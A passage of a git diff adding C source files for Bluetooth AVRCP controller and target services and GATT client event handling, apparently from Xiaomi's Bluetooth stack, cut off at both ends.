return 0; +} + +static const profile_service_t avrcp_control_service = { + .auto_start = true, + .name = PROFILE_AVRCP_CT_NAME, + .id = PROFILE_AVRCP_CT, + .transport = BT_TRANSPORT_BREDR, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = avrcp_control_init, + .startup = avrcp_control_startup, + .shutdown = avrcp_control_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_avrcp_control_profile_interface, + .cleanup = avrcp_control_cleanup, + .dump = avrcp_control_dump, +}; + +void bt_sal_avrcp_control_event_callback(avrcp_msg_t* msg) +{ + if (msg == NULL) + return; + + do_in_service_loop(avrcp_control_service_handle_callback, msg); +} + +void register_avrcp_control_service(void) +{ + register_service(&avrcp_control_service); +} diff --git a/service/profiles/avrcp/target/avrcp_target_service.c b/service/profiles/avrcp/target/avrcp_target_service.c new file mode 100644 index 0000000000000000000000000000000000000000..7ab169744adc0f2620240889b9ef2ab808677a9c --- /dev/null +++ b/service/profiles/avrcp/target/avrcp_target_service.c @@ -0,0 +1,703 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "avrcp_target" + +#include <fcntl.h> +#include <stdint.h> +#include <stdlib.h> +#include <unistd.h> + +#include "adapter_internel.h" +#include "avrcp_msg.h" +#include "avrcp_target_service.h" +#include "bt_addr.h" +#include "bt_list.h" +#include "bt_player.h" +#include "callbacks_list.h" +#include "power_manager.h" +#include "sal_avrcp_control_interface.h" +#include "sal_avrcp_target_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "time.h" +#include "utils/log.h" + +#define AVCTP_RETRY_MAX 1 + +#define AVRCP_TG_CALLBACK_FOREACH(_list, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, avrcp_target_callbacks_t, _cback, ##__VA_ARGS__) + +#define POS_NOT_SUPPORT 0xFFFFFFFF +#define VOL_NOT_SUPPORT -1 +typedef struct { + bool enable; + bool support_absvol; + uint32_t features; + uint32_t capabilities; + pthread_mutex_t mutex; + bt_list_t* devices; + bt_media_controller_t* controller; + callbacks_list_t* callbacks; +} avrcp_target_servie_t; + +typedef struct { + bool initiator; + bt_address_t addr; + bool absvol_support; + uint8_t retry_cnt; + uint32_t interval; + uint16_t registered_events; + bt_media_status_t play_status; + service_timer_t* pos_update; + service_timer_t* retry_timer; + profile_connection_state_t state; + bt_media_controller_t* controller; +} avrcp_tg_device_t; + +static avrcp_target_servie_t g_avrc_target = { 0 }; + +static void target_startup(profile_on_startup_t startup); +static void target_shutdown(profile_on_shutdown_t shutdown); + +static bool tg_device_cmp(void* device, void* addr) +{ + return bt_addr_compare(&((avrcp_tg_device_t*)device)->addr, addr) == 0; +} + +static avrcp_tg_device_t* tg_device_find(bt_address_t* addr) +{ + avrcp_tg_device_t* device; + + if (!addr) + return NULL; + + pthread_mutex_lock(&g_avrc_target.mutex); + if (!g_avrc_target.devices) { + pthread_mutex_unlock(&g_avrc_target.mutex); + return NULL; + } + + device = bt_list_find(g_avrc_target.devices, tg_device_cmp, addr); + pthread_mutex_unlock(&g_avrc_target.mutex); + + return device; +} + +static avrcp_tg_device_t* tg_device_create(bt_address_t* addr, bool initiator) +{ + avrcp_tg_device_t* device; + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + if (!addr) + return NULL; + + device = malloc(sizeof(avrcp_tg_device_t)); + if (!device) + return NULL; + + memcpy(&device->addr, addr, sizeof(bt_address_t)); + device->initiator = initiator; + device->play_status = BT_MEDIA_PLAY_STATUS_STOPPED; + device->interval = 0; + device->retry_cnt = 0; + device->pos_update = NULL; + device->retry_timer = NULL; + device->state = PROFILE_STATE_DISCONNECTED; + + pthread_mutex_lock(&g_avrc_target.mutex); + bt_list_add_tail(g_avrc_target.devices, device); + pthread_mutex_unlock(&g_avrc_target.mutex); + + bt_addr_ba2str(addr, _addr_str); + BT_LOGD("%s [%s] success", __func__, _addr_str); + + return device; +} + +static void tg_device_destory(void* data) +{ + avrcp_tg_device_t* device = data; + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + assert(device); + + bt_addr_ba2str(&device->addr, _addr_str); + BT_LOGD("%s [%s] success", __func__, _addr_str); + + if (device->pos_update) + service_loop_cancel_timer(device->pos_update); + + if (device->retry_timer) + service_loop_cancel_timer(device->retry_timer); + + if (device->state != PROFILE_STATE_DISCONNECTED) + AVRCP_TG_CALLBACK_FOREACH(g_avrc_target.callbacks, connection_state_cb, &device->addr, PROFILE_STATE_DISCONNECTED); + + bt_pm_conn_close(PROFILE_AVRCP_TG, &device->addr); + free(device); +} + +static void tg_device_remove(avrcp_tg_device_t* device) +{ + pthread_mutex_lock(&g_avrc_target.mutex); + bt_list_remove(g_avrc_target.devices, device); + pthread_mutex_unlock(&g_avrc_target.mutex); +} +static avrcp_tg_device_t* get_active_device(void) +{ + bt_list_node_t* node; + + /* get a2dp active device */ + pthread_mutex_lock(&g_avrc_target.mutex); + node = bt_list_head(g_avrc_target.devices); + pthread_mutex_unlock(&g_avrc_target.mutex); + + if (node == NULL) + return NULL; + + return bt_list_node(node); +} + +static void media_player_notify_cb(bt_media_controller_t* controller, void* context, + bt_media_event_t event, uint32_t value) +{ + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + avrcp_tg_device_t* device = get_active_device(); + if (!device) + return; + + bt_addr_ba2str(&device->addr, _addr_str); + BT_LOGD("%s: device=[%s], evt=%s, value=%" PRIu32, __func__, _addr_str, bt_media_evt_str(event), value); + switch (event) { + case BT_MEDIA_EVT_PREPARED: + break; + case BT_MEDIA_EVT_PLAYSTATUS_CHANGED: + BT_LOGD("send playstatus notification --> %s", bt_media_status_str(value)); + device->play_status = value; + bt_sal_avrcp_target_play_status_notify(PRIMARY_ADAPTER, &device->addr, value); + break; + case BT_MEDIA_EVT_POSITION_CHANGED: + BT_LOGD("send position notification --> position: %" PRIu32, value); + bt_sal_avrcp_target_notify_play_position_changed(PRIMARY_ADAPTER, &device->addr, value); + break; + case BT_MEDIA_EVT_TRACK_CHANGED: + break; + default: + break; + } +} + +static void tg_retry_callback(service_timer_t* timer, void* data) +{ + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + avrcp_tg_device_t* device = (avrcp_tg_device_t*)data; + + if (!device) + return; + + bt_addr_ba2str(&device->addr, _addr_str); + BT_LOGD("%s: device=[%s], state=%d, retry_cnt=%d", __func__, _addr_str, device->state, device->retry_cnt); + if (device->state == PROFILE_STATE_DISCONNECTED) + bt_sal_avrcp_control_connect(PRIMARY_ADAPTER, &device->addr); + + device->retry_timer = NULL; +} + +static void handle_avrcp_connection_state(avrcp_msg_t* msg) +{ + avrcp_tg_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + profile_connection_state_t state = msg->data.conn_state.conn_state; + profile_connection_reason_t reason = msg->data.conn_state.reason; + uint32_t random_timeout; + + pthread_mutex_lock(&g_avrc_target.mutex); + if (!g_avrc_target.enable) { + pthread_mutex_unlock(&g_avrc_target.mutex); + return; + } + pthread_mutex_unlock(&g_avrc_target.mutex); + + BT_LOGD("avrc tg connnection --> device:[%s], state: %d", bt_addr_str(addr), state); + + device = tg_device_find(addr); + + switch (state) { + case PROFILE_STATE_DISCONNECTED: + assert(device); + if ((device->state == PROFILE_STATE_CONNECTING) && (reason == PROFILE_REASON_COLLISION) && (device->retry_cnt < AVCTP_RETRY_MAX)) { + /* failed to establish an AVRCP connection, retry for up to AVCTP_RETRY_MAX times */ + if (device->retry_timer == NULL) { + /* AVRCP requires a random waiting time between 100ms and 1 seconds. + To compensate for transmission delays, the random delay is set to no more than 900ms */ + srand(time(NULL)); /* set random seed */ + random_timeout = 100 + (rand() % 800); + BT_LOGD("retry AVRCP connection with device:[%s], delay=%" PRIu32 "ms", + bt_addr_str(addr), random_timeout); + device->retry_timer = service_loop_timer(random_timeout, 0, tg_retry_callback, device); + device->retry_cnt++; + } + break; + } + if (device->retry_timer) { + service_loop_cancel_timer(device->retry_timer); + device->retry_timer = NULL; + } + device->retry_cnt = 0; + bt_pm_conn_close(PROFILE_AVRCP_TG, &device->addr); + + /* destory device and release resource if device is existed*/ + tg_device_remove(device); + device = NULL; + + break; + case PROFILE_STATE_CONNECTING: + if (!device) { + /* target as acceptor */ + device = tg_device_create(addr, false); + } + break; + case PROFILE_STATE_CONNECTED: + if (!device) { + /* target as acceptor */ + device = tg_device_create(addr, false); + } + + bt_pm_conn_open(PROFILE_AVRCP_TG, &device->addr); + if (!g_avrc_target.controller) { + g_avrc_target.controller = bt_media_controller_create(device, media_player_notify_cb); + assert(g_avrc_target.controller); + } + + device->controller = g_avrc_target.controller; + device->retry_cnt = 0; + break; + case PROFILE_STATE_DISCONNECTING: + assert(device); + break; + default: + assert(0); + } + + /* set device state */ + if (device) + device->state = state; + + AVRCP_TG_CALLBACK_FOREACH(g_avrc_target.callbacks, connection_state_cb, addr, state); +} + +static void handle_avrcp_passthrough_cmd(bt_address_t* addr, + avrcp_passthr_cmd_t op, + avrcp_key_state_t state) +{ + avrcp_tg_device_t* device = NULL; + bt_status_t status = BT_STATUS_NOT_SUPPORTED; + + device = tg_device_find(addr); + if (!device) { + BT_LOGE("%s device not found", __func__); + return; + } + + BT_LOGD("passthrough cmd: %d, state: %d", op, state); + AVRCP_TG_CALLBACK_FOREACH(g_avrc_target.callbacks, received_panel_operation_cb, addr, op, state); + if (state != AVRCP_KEY_PRESSED) + return; + + switch (op) { + case PASSTHROUGH_CMD_ID_PLAY: + status = bt_media_player_play(device->controller); + break; + case PASSTHROUGH_CMD_ID_STOP: + status = bt_media_player_stop(device->controller); + break; + case PASSTHROUGH_CMD_ID_PAUSE: + status = bt_media_player_pause(device->controller); + break; + case PASSTHROUGH_CMD_ID_FORWARD: + status = bt_media_player_next(device->controller); + break; + case PASSTHROUGH_CMD_ID_BACKWARD: + status = bt_media_player_prev(device->controller); + break; + default: + break; + } + + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("%s, handle op:%d fail", __func__, op); + } +} + +static void handle_avrcp_play_status_request(avrcp_msg_t* msg) +{ + bt_address_t* addr = &msg->addr; + avrcp_tg_device_t* device = NULL; + bt_media_controller_t* controller = NULL; + bt_media_status_t playback; + uint32_t durations = POS_NOT_SUPPORT; + uint32_t position = POS_NOT_SUPPORT; + + device = tg_device_find(addr); + if (!device) { + BT_LOGE("%s device not found", __func__); + return; + } + + BT_LOGD("handle get playback status request:"); + controller = device->controller; + if (bt_media_player_get_playback_status(controller, &playback) != BT_STATUS_SUCCESS) + playback = device->play_status; + + bt_media_player_get_position(controller, &position); + bt_media_player_get_durations(controller, &durations); + + BT_LOGD("playback status: %s, duration: 0x%08" PRIx32 ", position: 0x%08" PRIx32, bt_media_status_str(playback), durations, position); + bt_sal_avrcp_target_get_play_status_rsp(PRIMARY_ADAPTER, addr, playback, durations, position); + + AVRCP_TG_CALLBACK_FOREACH(g_avrc_target.callbacks, received_get_play_status_request_cb, addr); +} + +static void handle_avrcp_register_notification(avrcp_msg_t* msg) +{ + bt_address_t* addr = &msg->addr; + avrcp_tg_device_t* device = NULL; + bt_media_controller_t* controller = NULL; + avrcp_notification_event_t event = msg->data.notify_req.event; + + device = tg_device_find(addr); + if (!device) { + BT_LOGE("%s device not found", __func__); + return; + } + + controller = device->controller; + device->registered_events |= (1 << event); + BT_LOGD("register notification event: %d", event); + switch (event) { + case NOTIFICATION_EVT_PALY_STATUS_CHANGED: { + bt_media_status_t playback; + + /* TODO: + 1. get mediaplayer playback status + 2. check A2DP stream state + 3. notify playback status + 4. listen mediaplayer status changed + */ + + if (bt_media_player_get_playback_status(controller, &playback) != BT_STATUS_SUCCESS) + playback = device->play_status; + + BT_LOGD("send playstatus notification --> %s", bt_media_status_str(playback)); + bt_sal_avrcp_target_play_status_notify(PRIMARY_ADAPTER, addr, playback); + break; + } + case NOTIFICATION_EVT_TRACK_CHANGED: { + /* + * not support track changed notification + */ + bt_sal_avrcp_target_notify_track_changed(PRIMARY_ADAPTER, addr, false); + break; + } + case NOTIFICATION_EVT_PLAY_POS_CHANGED: { + uint32_t position = POS_NOT_SUPPORT; + + device->interval = msg->data.notify_req.interval; + bt_media_player_get_position(controller, &position); + // if (position != POS_NOT_SUPPORT) + // device->pos_update = service_loop_timer(); + bt_sal_avrcp_target_notify_play_position_changed(PRIMARY_ADAPTER, addr, position); + break; + } + case NOTIFICATION_EVT_VOLUME_CHANGED: { + break; + } + default: + break; + } + + AVRCP_TG_CALLBACK_FOREACH(g_avrc_target.callbacks, received_register_notification_request_cb, addr, event, msg->data.notify_req.interval); +} + +static void avrcp_target_service_handle_callback(void* data) +{ + avrcp_msg_t* msg = data; + + BT_LOGD("%s, %d", __func__, msg->id); + switch (msg->id) { + case AVRC_CONNECTION_STATE_CHANGED: + handle_avrcp_connection_state(msg); + break; + case AVRC_PASSTHROUHT_CMD: + handle_avrcp_passthrough_cmd(&msg->addr, msg->data.passthr_cmd.opcode, msg->data.passthr_cmd.state); + break; + case AVRC_REGISTER_NOTIFICATION_REQ: + handle_avrcp_register_notification(msg); + break; + case AVRC_GET_PLAY_STATUS_REQ: + handle_avrcp_play_status_request(msg); + break; + default: + BT_LOGW("%s Unsupport message", __func__); + break; + } + + avrcp_msg_destory(msg); +} + +static void avrcp_target_service_handle_event(void* data) +{ + avrcp_msg_t* msg = (avrcp_msg_t*)data; + + switch (msg->id) { + case AVRC_STARTUP: + target_startup((profile_on_startup_t)msg->data.context); + break; + case AVRC_SHUTDOWN: + target_shutdown((profile_on_shutdown_t)msg->data.context); + break; + default: + break; + } + + avrcp_msg_destory(msg); +} + +static void do_in_avrcp_service(avrcp_msg_t* msg) +{ + if (msg == NULL) + return; + + do_in_service_loop(avrcp_target_service_handle_event, msg); +} + +static bt_status_t avrcp_target_init(void) +{ + pthread_mutexattr_t attr; + + memset(&g_avrc_target, 0, sizeof(g_avrc_target)); + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + if (pthread_mutex_init(&g_avrc_target.mutex, &attr) < 0) + return BT_STATUS_FAIL; + + g_avrc_target.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + return BT_STATUS_SUCCESS; +} + +static void avrcp_target_cleanup(void) +{ + bt_callbacks_list_free(g_avrc_target.callbacks); + g_avrc_target.callbacks = NULL; + pthread_mutex_destroy(&g_avrc_target.mutex); +} + +static void target_startup(profile_on_startup_t startup) +{ + pthread_mutex_lock(&g_avrc_target.mutex); + + g_avrc_target.devices = bt_list_new(tg_device_destory); + if (!g_avrc_target.devices) { + pthread_mutex_unlock(&g_avrc_target.mutex); + startup(PROFILE_AVRCP_TG, false); + return; + } + + if (bt_sal_avrcp_target_init() != BT_STATUS_SUCCESS) { + bt_list_free(g_avrc_target.devices); + g_avrc_target.devices = NULL; + pthread_mutex_unlock(&g_avrc_target.mutex); + startup(PROFILE_AVRCP_TG, false); + return; + } + + g_avrc_target.controller = NULL; + g_avrc_target.enable = true; + pthread_mutex_unlock(&g_avrc_target.mutex); + startup(PROFILE_AVRCP_TG, true); +} + +static void target_shutdown(profile_on_shutdown_t shutdown) +{ + pthread_mutex_lock(&g_avrc_target.mutex); + if (!g_avrc_target.enable) { + pthread_mutex_unlock(&g_avrc_target.mutex); + shutdown(PROFILE_AVRCP_TG, true); + return; + } + + g_avrc_target.enable = false; + bt_media_controller_destory(g_avrc_target.controller); + g_avrc_target.controller = NULL; + bt_list_free(g_avrc_target.devices); + g_avrc_target.devices = NULL; + bt_sal_avrcp_target_cleanup(); + pthread_mutex_unlock(&g_avrc_target.mutex); + shutdown(PROFILE_AVRCP_TG, true); +} + +static bt_status_t avrcp_target_startup(profile_on_startup_t cb) +{ + pthread_mutex_lock(&g_avrc_target.mutex); + if (g_avrc_target.enable) { + pthread_mutex_unlock(&g_avrc_target.mutex); + return BT_STATUS_NOT_ENABLED; + } + pthread_mutex_unlock(&g_avrc_target.mutex); + + avrcp_msg_t* msg = avrcp_msg_new(AVRC_STARTUP, NULL); + msg->data.context = cb; + do_in_avrcp_service(msg); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t avrcp_target_shutdown(profile_on_shutdown_t cb) +{ + pthread_mutex_lock(&g_avrc_target.mutex); + if (!g_avrc_target.enable) { + pthread_mutex_unlock(&g_avrc_target.mutex); + return BT_STATUS_SUCCESS; + } + pthread_mutex_unlock(&g_avrc_target.mutex); + + avrcp_msg_t* msg = avrcp_msg_new(AVRC_SHUTDOWN, NULL); + msg->data.context = cb; + do_in_avrcp_service(msg); + + return BT_STATUS_SUCCESS; +} + +static void* avrcp_target_register_callbacks(void* remote, const avrcp_target_callbacks_t* callbacks) +{ + return bt_remote_callbacks_register(g_avrc_target.callbacks, remote, (void*)callbacks); +} + +static bool avrcp_target_unregister_callbacks(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_avrc_target.callbacks, remote, cookie); +} + +static bt_status_t avrcp_target_get_play_status_response(bt_address_t* addr, avrcp_play_status_t status, + uint32_t song_len, uint32_t song_pos) +{ + avrcp_tg_device_t* device = NULL; + + pthread_mutex_lock(&g_avrc_target.mutex); + if (g_avrc_target.enable) { + pthread_mutex_unlock(&g_avrc_target.mutex); + return BT_STATUS_NOT_ENABLED; + } + + pthread_mutex_unlock(&g_avrc_target.mutex); + + device = tg_device_find(addr); + if (!device) { + return BT_STATUS_DEVICE_NOT_FOUND; + } + + return bt_sal_avrcp_target_get_play_status_rsp(PRIMARY_ADAPTER, addr, status, song_len, song_pos); +} + +static bt_status_t avrcp_target_play_status_notify(bt_address_t* addr, avrcp_play_status_t status) +{ + avrcp_tg_device_t* device = NULL; + + pthread_mutex_lock(&g_avrc_target.mutex); + if (g_avrc_target.enable) { + pthread_mutex_unlock(&g_avrc_target.mutex); + return BT_STATUS_NOT_ENABLED; + } + + pthread_mutex_unlock(&g_avrc_target.mutex); + + device = tg_device_find(addr); + if (!device) { + return BT_STATUS_DEVICE_NOT_FOUND; + } + + return bt_sal_avrcp_target_play_status_notify(PRIMARY_ADAPTER, addr, status); +} + +static const avrcp_target_interface_t avrcp_targetInterface = { + .size = sizeof(avrcp_targetInterface), + .register_callbacks = avrcp_target_register_callbacks, + .unregister_callbacks = avrcp_target_unregister_callbacks, + .get_play_status_rsp = avrcp_target_get_play_status_response, + .play_status_notify = avrcp_target_play_status_notify, +}; + +static const void* get_avrcp_target_profile_interface(void) +{ + return (void*)&avrcp_targetInterface; +} + +static int avrcp_target_dump(void) +{ + return 0; +} + +static void avrcp_target_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->avrcp_target_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + avrcp_target_unregister_callbacks((void**)&ins, ins->avrcp_target_cookie); + ins->avrcp_target_cookie = NULL; + } + break; + } + default: + break; + } +} + +static int avrcp_target_get_state(void) +{ + return 1; +} + +static const profile_service_t avrcp_target_service = { + .auto_start = true, + .name = PROFILE_AVRCP_TG_NAME, + .id = PROFILE_AVRCP_TG, + .transport = BT_TRANSPORT_BREDR, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = avrcp_target_init, + .startup = avrcp_target_startup, + .shutdown = avrcp_target_shutdown, + .process_msg = avrcp_target_process_msg, + .get_state = avrcp_target_get_state, + .get_profile_interface = get_avrcp_target_profile_interface, + .cleanup = avrcp_target_cleanup, + .dump = avrcp_target_dump, +}; + +void bt_sal_avrcp_target_event_callback(avrcp_msg_t* msg) +{ + if (msg == NULL) + return; + + do_in_service_loop(avrcp_target_service_handle_callback, msg); +} + +void register_avrcp_target_service(void) +{ + register_service(&avrcp_target_service); +} diff --git a/service/profiles/gatt/gattc_event.c b/service/profiles/gatt/gattc_event.c new file mode 100644 index 0000000000000000000000000000000000000000..2ed251b8808675b34200ea2f565fd6a805f8bb6e --- /dev/null +++ b/service/profiles/gatt/gattc_event.c @@ -0,0 +1,56 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "gattc_event.h" + +gattc_msg_t* gattc_msg_new(gattc_event_t event, bt_address_t* addr, uint16_t playload_length) +{ + gattc_msg_t* msg; + + msg = (gattc_msg_t*)malloc(sizeof(gattc_msg_t) + playload_length); + if (msg == NULL) + return NULL; + + msg->event = event; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + + return msg; +} + +void gattc_msg_destory(gattc_msg_t* msg) +{ + free(msg); +} + +gattc_op_t* gattc_op_new(gattc_request_t request) +{ + gattc_op_t* operation; + + operation = (gattc_op_t*)malloc(sizeof(gattc_op_t)); + if (operation == NULL) + return NULL; + + operation->request = request; + + return operation; +} + +void gattc_op_destory(gattc_op_t* operation) +{ + free(operation); +} diff --git a/service/profiles/gatt/gattc_service.c b/service/profiles/gatt/gattc_service.c new file mode 100644 index 0000000000000000000000000000000000000000..3f3f83a00b025995ddc7f241607d5cfe4a8e4b14 --- /dev/null +++ b/service/profiles/gatt/gattc_service.c @@ -0,0 +1,925 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gattc" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> +#include <sys/types.h> + +#include "bt_config.h" +#include "bt_list.h" +#include "bt_profile.h" +#include "gattc_event.h" +#include "gattc_service.h" +#include "index_allocator.h" +#include "sal_gatt_client_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CHECK_ENABLED() \ + { \ + if (!g_gattc_manager.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define CHECK_ATTR_HANDLE_VALID(_handle) \ + do { \ + if ((_handle) == 0U || (_handle) > UINT16_MAX) \ + return BT_STATUS_PARM_INVALID; \ + } while (0) + +#define CHECK_CONNECTION_VALID(_list, _conn) \ + do { \ + bt_list_node_t* _node; \ + if (!_conn) \ + return BT_STATUS_PARM_INVALID; \ + for (_node = bt_list_head(_list); _node != NULL; _node = bt_list_next(_list, _node)) { \ + if (bt_list_node(_node) == _conn) \ + break; \ + } \ + if (!_node) \ + return BT_STATUS_PARM_INVALID; \ + } while (0) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef struct +{ + bool started; + index_allocator_t* allocator; + bt_list_t* connections; + +} gattc_manager_t; + +typedef struct +{ + bt_uuid_t* uuid; + uint16_t start_handle; + uint16_t end_handle; + int element_size; + gatt_element_t* elements; + +} gattc_service_t; + +typedef struct +{ + void* remote; + int conn_id; + profile_connection_state_t state; + void** user_phandle; + bt_address_t remote_addr; + gattc_manager_t* manager; + gattc_callbacks_t* callbacks; + bt_list_t* services; + bt_list_t* pend_ops; + +} gattc_connection_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static gattc_manager_t g_gattc_manager = { + .started = false, + .connections = NULL, +}; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static bool connection_addr_cmp(void* connection, void* addr) +{ + return bt_addr_compare(&((gattc_connection_t*)connection)->remote_addr, addr) == 0; +} + +static gattc_connection_t* find_gattc_connection_by_addr(bt_address_t* addr) +{ + return bt_list_find(g_gattc_manager.connections, connection_addr_cmp, addr); +} + +static gattc_connection_t* gattc_connection_new(gattc_callbacks_t* callbacks) +{ + int new_id = index_alloc(g_gattc_manager.allocator); + if (new_id < 0) + return NULL; + + gattc_connection_t* connection = calloc(1, sizeof(gattc_connection_t)); + if (!connection) { + index_free(g_gattc_manager.allocator, new_id); + return NULL; + } + + connection->conn_id = new_id; + connection->callbacks = callbacks; + connection->services = NULL; + connection->pend_ops = NULL; + + return connection; +} + +static void gattc_connection_delete(gattc_connection_t* connection) +{ + if (!connection) + return; + + if (connection->state == PROFILE_STATE_CONNECTING || connection->state == PROFILE_STATE_CONNECTED) + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &connection->remote_addr); + index_free(g_gattc_manager.allocator, connection->conn_id); + bt_list_free(connection->services); + connection->services = NULL; + bt_list_free(connection->pend_ops); + connection->pend_ops = NULL; + free(connection); +} + +static bool attribute_handle_cmp(void* service, void* handle) +{ + uint16_t f_handle = *(uint16_t*)handle; + gattc_service_t* f_service = (gattc_service_t*)service; + return (f_handle >= f_service->start_handle && f_handle <= f_service->end_handle); +} + +static gatt_element_t* find_gattc_element_by_handle(gattc_connection_t* connection, uint16_t handle) +{ + gattc_service_t* service = bt_list_find(connection->services, attribute_handle_cmp, &handle); + if (!service) + return NULL; + + gatt_element_t* element = service->elements; + for (int i = 0; i < service->element_size; i++, element++) { + if (element->handle == handle) + return element; + } + + return NULL; +} + +static gatt_element_t* find_gattc_element_by_uuid(gattc_connection_t* connection, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid) +{ + bt_list_node_t* node; + bt_list_t* list = connection->services; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + gattc_service_t* service = (gattc_service_t*)bt_list_node(node); + if (service->end_handle < start_handle || service->start_handle > end_handle) + continue; + + gatt_element_t* element = service->elements; + for (int i = 0; i < service->element_size; i++, element++) { + if (element->handle >= start_handle && element->handle <= end_handle && !bt_uuid_compare(&element->uuid, attr_uuid)) { + return element; + } + } + } + + return NULL; +} + +static gattc_service_t* gattc_service_new(bt_uuid_t* uuid) +{ + gattc_service_t* service = malloc(sizeof(gattc_service_t)); + if (!service) + return NULL; + + service->uuid = uuid; + service->start_handle = 0; + service->end_handle = 0; + service->elements = NULL; + service->element_size = 0; + + return service; +} + +static void gattc_service_delete(gattc_service_t* service) +{ + if (!service) + return; + + if (service->elements) +#ifndef CONFIG_BLUETOOTH_STACK_LE_ZBLUE + free(service->elements); +#endif + free(service); +} + +static void gattc_pendops_delete(gattc_op_t* operation) +{ + if (!operation) + return; + + free(operation); +} + +static void gattc_process_message(void* data) +{ + gattc_msg_t* msg = (gattc_msg_t*)data; + gattc_connection_t* connection; + + if (!g_gattc_manager.started) { + goto end; + } + + connection = find_gattc_connection_by_addr(&msg->addr); + if (!connection) { + goto end; + } + + switch (msg->event) { + case GATTC_EVENT_CONNECT_CHANGE: { + profile_connection_state_t connect_state = msg->param.connect_change.state; + BT_ADDR_LOG("GATTC-CONNECTION-STATE-EVENT from:%s, state:%d", &connection->remote_addr, connect_state); + if (connect_state == PROFILE_STATE_CONNECTED) { + connection->state = connect_state; + GATT_CBACK(connection->callbacks, on_connected, connection, &connection->remote_addr); + } else if (connect_state == PROFILE_STATE_DISCONNECTED) { + connection->state = connect_state; + GATT_CBACK(connection->callbacks, on_disconnected, connection, &connection->remote_addr); + bt_addr_set_empty(&connection->remote_addr); + bt_list_clear(connection->services); + } + } break; + case GATTC_EVENT_DISCOVER_RESULT: { + gattc_service_t* service = bt_list_find(connection->services, attribute_handle_cmp, &msg->param.discover_res.elements[0].handle); + if (service) { + bt_list_remove(connection->services, service); + } + + service = gattc_service_new(&msg->param.discover_res.elements->uuid); + service->start_handle = msg->param.discover_res.elements[0].handle; + service->end_handle = msg->param.discover_res.elements[msg->param.discover_res.size - 1].handle; + service->elements = msg->param.discover_res.elements; + service->element_size = msg->param.discover_res.size; + bt_list_add_tail(connection->services, service); + + GATT_CBACK(connection->callbacks, on_discovered, connection, GATT_STATUS_SUCCESS, service->uuid, service->start_handle, service->end_handle); + } break; + case GATTC_EVENT_DISOCVER_CMPL: { + GATT_CBACK(connection->callbacks, on_discovered, connection, msg->param.discover_cmpl.status, NULL, 0, 0); + } break; + case GATTC_EVENT_READ: { + GATT_CBACK(connection->callbacks, on_read, connection, msg->param.read.status, msg->param.read.element_id, msg->param.read.value, msg->param.read.length); + } break; + case GATTC_EVENT_WRITE: { + GATT_CBACK(connection->callbacks, on_written, connection, msg->param.write.status, msg->param.write.element_id); + } break; + case GATTC_EVENT_SUBSCRIBE: { + gatt_element_t* element = find_gattc_element_by_handle(connection, msg->param.subscribe.element_id); + if (element) { + if (msg->param.subscribe.status == GATT_STATUS_SUCCESS) { + element->notify_enable = msg->param.subscribe.enable; + } + GATT_CBACK(connection->callbacks, on_subscribed, connection, msg->param.subscribe.status, msg->param.subscribe.element_id, msg->param.subscribe.enable); + } else { + BT_LOGE("GATTC receives a subscribe event with unknown element (id:0x%04x)", msg->param.subscribe.element_id); + } + } break; + case GATTC_EVENT_NOTIFY: { + gatt_element_t* element = 